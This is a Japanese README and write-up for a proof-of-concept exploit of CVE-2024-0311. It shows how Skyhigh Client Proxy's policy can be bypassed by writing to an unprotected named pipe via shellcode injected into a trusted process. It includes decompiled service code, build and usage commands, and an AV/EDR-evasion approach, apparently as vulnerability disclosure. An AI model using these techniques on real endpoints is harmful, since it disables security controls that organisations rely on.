
CVE-2024-0311の概念実証エクスプロイト。プロセスインジェクションと名前付きパイプ操作によりSkyhigh Client Proxyのポリシーをバイパスし、AV/EDRの制限を回避するカスタムシェルコードを備えています。
これは、私が思うに CVE-2024-0311 および SB10418 の PoC です。
悪意のある内部関係者は、有効なリリースコードなしに Skyhigh Client Proxy の既存ポリシーをバイパスできます。
詳細は多め。エクスプロイト強め。 ¯\(ツ)/¯
この PoC は、ユーザーが実行した SCPBypass.exe プロセスにインジェクションし、SCPService.exe のパイプ \\.\pipe\MCPTrayPipe0 に書き込みを行います。パイプが RW Everyone であっても、WGUARDNT がパイプに書き込む実行ファイルに対していくつかのチェックを行う(ライターパスが検査される)ため、インジェクションが必要です。下記を参照してください。
Trellix/McAfee が稼働していて LoadLibrary をフック/ブロックしている場合でも、パイプへの WriteFile の実行を可能にするサンプルシェルコードが用意されています。
Visual Studio で Debug または Release ビルドします。
以下のようにしてシェルコードを生成します:
cd shellcode && nasm loadlibrary.asm && xxd -i loadlibrary
その後、シェルコードを shellcode.c に置き換えます。
Injct.exe PID_OF_SCPBYPASS_EXE [stateoff] [debugon]
* stateoff: Don't call SetNamedPipeHandleState. The shellcode validate the pointer to SetNamedPipeHandleState before calling it..
* debugon: set a breakpoint into the shellcode (0xcc at offset 0) and spawn a thread to bind the named pipe. Don't use in production.
出力例:
PS C:\Users\test\Desktop> .\Injct.exe 10640
> Target PID: 10640
> Allocating 4Kb in remote process: 0000020B61060000
> Writing shellcode to PID: 10640
> Injected shellcode at: 0000020B61060000
> Creating remote thread at 0000020B61060000
> Thread 12784 created.. waiting...
> Thread 12784 return value 0000000000000000
PS C:\Users\test\Desktop>
すべてがうまくいけば、SCP のログファイルに次のようなエントリが見つかるはずです:
10/30/24 : 10:18:55:185 - [INFO] CBypassPipeServer::run - SCP will be going into bypass mode for 1440 minutes
簡潔な解説にする。言葉に費やす時間など誰にもないからね。
まず、Skyhigh Proxy Client とは何でしょうか?
Skyhigh Security Client Proxy ソフトウェアは、エンドポイントユーザーがネットワークの内部または外部から Web にアクセスする際に生じるセキュリティ脅威から保護するのに役立ちます。 Microsoft Windows または macOS を実行しているエンドポイントにインストールされるクライアントソフトウェアは、Web リクエストをリダイレクトするか、フィルタリングのためにプロキシへ継続させます。サーバーソフトウェアは、Trellix ePO SaaS または Trellix ePO Cloud のいずれかの管理プラットフォーム上で実行されます。
これで明確になったはずです。
アドバイザリからの情報だけでは、手がかりはあまりありません。正直に言うと、私は LPE に悪用しやすい問題を見つけようとバイナリサービスを調べていたところ、CreateNamedPipe を見かけて興味を持ちました。
Ghidra から逆コンパイルしたコードを簡単にコピー&ペーストしたものを示します:
void CreateNamedPipe_FUN_14022d150(undefined8 param_1)
{
BOOL BVar1;
int atoi_out_lpBuffer;
HANDLE hNamedPipe;
undefined8 uVar2;
undefined auStackY_4c8 [32];
uint nBytesRead;
undefined4 local_474;
undefined4 local_470;
ulonglong nBytesRead_0;
_SECURITY_ATTRIBUTES local_460;
undefined pSecurityDescriptor [48];
char out_lpBuffer [1024];
ulonglong local_18;
local_18 = DAT_14069a448 ^ (ulonglong)auStackY_4c8;
InitializeSecurityDescriptor(pSecurityDescriptor,1);
/* BOOL SetSecurityDescriptorDacl(
[in, out] PSECURITY_DESCRIPTOR pSecurityDescriptor,
[in] BOOL bDaclPresent,
[in, optional] PACL pDacl,
[in] BOOL bDaclDefaulted
); */
SetSecurityDescriptorDacl(pSecurityDescriptor,1,(PACL)0x0,0);
local_460.bInheritHandle = 0;
local_460.lpSecurityDescriptor = pSecurityDescriptor;
local_460.nLength = 0x18;
/* HANDLE CreateNamedPipeW(
[in] LPCWSTR lpName,
[in] DWORD dwOpenMode,
[in] DWORD dwPipeMode,
[in] DWORD nMaxInstances,
[in] DWORD nOutBufferSize,
[in] DWORD nInBufferSize,
[in] DWORD nDefaultTimeOut,
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
CreateNamedPipeW("\\\\.\\pipe\\MCPTrayPipe0",PIPE_ACCESS_DUPLEX,
PIPE_TYPE_BYTE, 1, 0x4000, 0x4000, 0, lpSecurityAttribytes)
*/
hNamedPipe = CreateNamedPipeW(L"\\\\.\\pipe\\MCPTrayPipe0",3,0,1,0x4000,0x4000,0,&local_460);
while (hNamedPipe != (HANDLE)0xffffffffffffffff) {
BVar1 = ConnectNamedPipe(hNamedPipe,(LPOVERLAPPED)0x0);
if (BVar1 != 0) {
while (BVar1 = ReadFile(hNamedPipe,out_lpBuffer,1023,&nBytesRead,(LPOVERLAPPED)0x0),
BVar1 != 0) {
nBytesRead_0 = (ulonglong)nBytesRead;
if (1023 < nBytesRead_0) {
fail_or_fastfail_FUN_1404794f0();
}
out_lpBuffer[nBytesRead_0] = '\0';
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 5)) {
local_474 = 0;
}
else {
TraceMessage_FUN_140027e70
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xe,&DAT_1405da058,out_lpBuffer);
local_474 = 1;
}
FUN_14022d510(param_1,1);
atoi_out_lpBuffer = atoi(out_lpBuffer);
uVar2 = FUN_140040210();
LOGFUN_1400402a0(uVar2,L"CBypassPipeServer::run",5,L"INFO");
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 3)) {
local_470 = 0;
}
else {
TraceMessage_FUN_140027e10
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xf,&DAT_1405da058,atoi_out_lpBuffer
);
local_470 = 1;
}
FUN_140040530(2,L"CBypassPipeServer::run-SCP will be going into bypass mode for %d minutes",
atoi_out_lpBuffer);
FUN_14022d5b0(param_1,atoi_out_lpBuffer);
}
}
DisconnectNamedPipe(hNamedPipe);
}
FUN_140478b10(local_18 ^ (ulonglong)auStackY_4c8);
return;
}
この関数が呼び出されると、新しい DACL 構造体が初期化され、新しいパイプ \\.\pipe\MCPTrayPipe0 が byte mode で作成されることがわかります。
そして、そのようなパイプへのハンドルが有効である限り、プログラムはそこから読み取り、送信されたバイトを atoi(out_lpBuffer) で ASCII から int に変換しようとします。
atoi にはより良い代替手段があるという事実はさておき、atoi の呼び出しが失敗していないと仮定すると、変換された値は FUN_14022d5b0 に渡されます:
undefined8 FUN_14022d5b0(longlong param1,int atoi_out_lpBuffer)
{
BOOL BVar1;
DWORD DVar2;
undefined8 uVar3;
LARGE_INTEGER local_10 [2];
local_10[0].QuadPart = (ulonglong)(uint)atoi_out_lpBuffer * -600000000;
BVar1 = SetWaitableTimer(*(HANDLE *)(param1 + 0xd8),local_10,0,(PTIMERAPCROUTINE)0x0,(LPVOID)0x0,0
);
if (BVar1 == 0) {
DVar2 = GetLastError();
uVar3 = FUN_140040210();
LOGFUN_1400402a0(uVar3,L"CBypassPipeServer::setBypassTimer",1,L"ERROR",L"Failed setting time %d"
,DVar2);
if ((((undefined **)PTR_LOOP_14069a4e0 != &PTR_LOOP_14069a4e0) &&
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) != 0)) && (1 < (byte)PTR_LOOP_14069a4e0[0x19]))
{
DVar2 = GetLastError();
TraceMessage_FUN_140027e10
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0x12,&DAT_1405da058,DVar2);
}
uVar3 = 0xffffffff;
}
else {
uVar3 = 0;
}
return uVar3;
}
これは SetWaitableTimer を呼び出します。ここの文字列は、意図したフローを見つけるのに少し役立ちました。
ここでの要点は、ScpService.exe プロセスが誰が何をパイプに書き込むかをチェックしておらず、データは盲目的に信頼されて受け渡されるだけだということです。さらに、accesschk でパイプのアクセス許可を確認すると、パイプは RW Everyone という結果になります。
したがって、エクスプロイトは基本的に次のことを行うはずです:
CreateFile(): パイプへのハンドルを取得SetNamedPipeHandleState(): バイトモードを設定WriteFile(): データを書き込むCloseHandle(): ハンドルを閉じるこれは文字通り PowerShell の数行で実行できます。簡単に勝てるだろう?いいえ。
物事がそんなに単純ならいいのに!技術的にはすべてそのように機能するように見える一方で、パイプを開こうとすると常にパイプクライアントがタイムアウトしてしまいました。少し深く掘り下げると、サービスが他のどこかで ACL を設定していることに気付きました。
ScpService が使用するデフォルトのセキュリティ記述子は、次のように初期化されます:
SECURITY_DESCRIPTOR sd = {};
InitializeSecurityDescriptor(&sd, 1);
SetSecurityDescriptorDacl(&sd, 1, NULL, NULL);
これは DACL を表しており、誰にもアクセスを許可しません。
オブジェクトのセキュリティ記述子に属する任意アクセス制御リスト (DACL) が NULL に設定されている場合、null DACL が作成されます。 null DACL は、それを要求するすべてのユーザーにフルアクセスを許可します。オブジェクトに関して通常のセキュリティチェックは実行されません。 null DACL は、空の DACL と混同しないでください。空の DACL は、アクセス制御エントリ (ACE) を含まない、適切に割り当てられ初期化された DACL です。 空の DACL は、割り当てられたオブジェクトへのアクセスを一切許可しません。
おそらく、ACE/DACL は \\.\WGUARDNT に委任されています。これは、限られたオブジェクトリストへのアクセスを許可する役割を担う保護レイヤー (McAfee?) のようです:
.data:000000014069A510 off_14069A510 dq offset aScpserviceExe_3
.data:000000014069A510 ; DATA XREF: sub_14009A310+539↑o
.data:000000014069A510 ; sub_14009A310+674↑o ...
.data:000000014069A510 ; "scpservice*.exe"
.data:000000014069A518 dq offset aFrameworkservi ; "FrameworkService.exe"
.data:000000014069A520 dq offset aRegsvcExe ; "regsvc.exe"
.data:000000014069A528 dq offset aNaprdmgr64Exe ; "naprdmgr64.exe"
.data:000000014069A530 dq offset aNaprdmgrExe ; "naprdmgr.exe"
.data:000000014069A538 dq offset aUpdateruiExe ; "updaterui.exe"
.data:000000014069A540 dq offset aMcafeefireExe ; "McAfeeFire.exe"
.data:000000014069A548 dq offset aScpbypassExe ; "SCPBypass.exe"
.data:000000014069A550 dq offset aScpaboutExe ; "SCPAbout.exe"
.data:000000014069A558 dq offset aMfehidinExe ; "mfehidin.exe"
.data:000000014069A560 dq offset aMsiexecExe ; "msiexec.exe"
.data:000000014069A568 dq offset aMcshieldExe ; "mcshield.exe"
.data:000000014069A570 dq offset aMmcExe ; "mmc.exe"
.data:000000014069A578 dq offset aSystem_4 ; "system"
.data:000000014069A580 dq offset aServicesExe ; "services.exe"
.data:000000014069A588 dq offset aWinlogonExe ; "winlogon.exe"
.data:000000014069A590 dq offset aSvchostExe ; "svchost.exe"
接続する実行ファイルが既知の実行ファイル/パスのリストに対してチェックされ、ユーザーの権限で実行される SCPBypass.exe が信頼されたアプリのリストに含まれているように見えるなら、SCPBypass.exe に DLL を単純にインジェクションできないでしょうか?もちろんできます!残念ながら、Trellix/McAfee は LoadLibrary の呼び出しをブロックします。
そのため、プロジェクト内の InjmeDLL は未使用となっています。
最終的には @wolfcod が急ごしらえで作った、迅速で乱暴なソリューションを選びました。プロセスにはすべてが既にロードされているので、必要なことを行うシェルコードをインジェクトするだけです。syscall を直接呼び出したり、他のトリックを試したりする代わりに、この単純なソリューションは私たちのユースケースでは問題なく機能しました。
これにより最終的に、AV/EDR ソリューションによって課された制限のバイパスと、動作するエクスプロイトが実現しました。
👋 それでは。